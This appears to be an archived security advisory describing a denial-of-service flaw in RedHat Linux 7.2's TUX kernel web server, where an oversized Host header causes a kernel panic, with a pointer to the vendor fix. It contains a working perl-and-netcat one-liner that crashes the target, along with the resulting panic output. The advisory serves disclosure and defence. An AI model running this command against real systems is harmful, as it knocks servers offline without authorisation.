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COMMAND kernel httpd SYSTEMS AFFECTED RedHat Linux 7.2: 0) Kernel(s) 2.4.7-10 and 2.4.9-7 0) TUX-2.1.0-2. (At least) PROBLEM Aiden ORawe posted : Tux is a Kernel-Space HTTP server coded for optimal performance (IRQ Affinity,HTTP Compression, direct scatter-gather DMA etc.) and is meant to be used as the main HTTP server for static objects with requests for dynamic content being passed to a user-space HTTPD server such as Apache on same box when necessary. The TUX web server is disabled by default. It is possible to cause a denial of service condition by submitting an oversized \"Host:\" header request to the Tux daemon causing an assertion failure and eventual Kernel Panic. A total system reboot is required to return the box to full functionality. For example the following script: perl -e \"print qq(GET / HTTP/1.0\\nAccept: */*\\nHost: ) . qq(A) x 6000 . qq(\\n)\" |nc <ip address> 80 Will cause the affected box to crash with the below output (edited for brevity): Code: Bad EIP Value. (0)Kernel Panic: Aiee, killing interrupt handler! In interrupt handler - not syncing! Despite being able to affect the contents of the EIP register this vulnerability cannot, to the best of my understanding, be utilised to provide for a remote root compromise. SOLUTION See Security Advisory - RHSA-2001:142-15 http://www.redhat.com/support/errata/RHSA-2001-142.html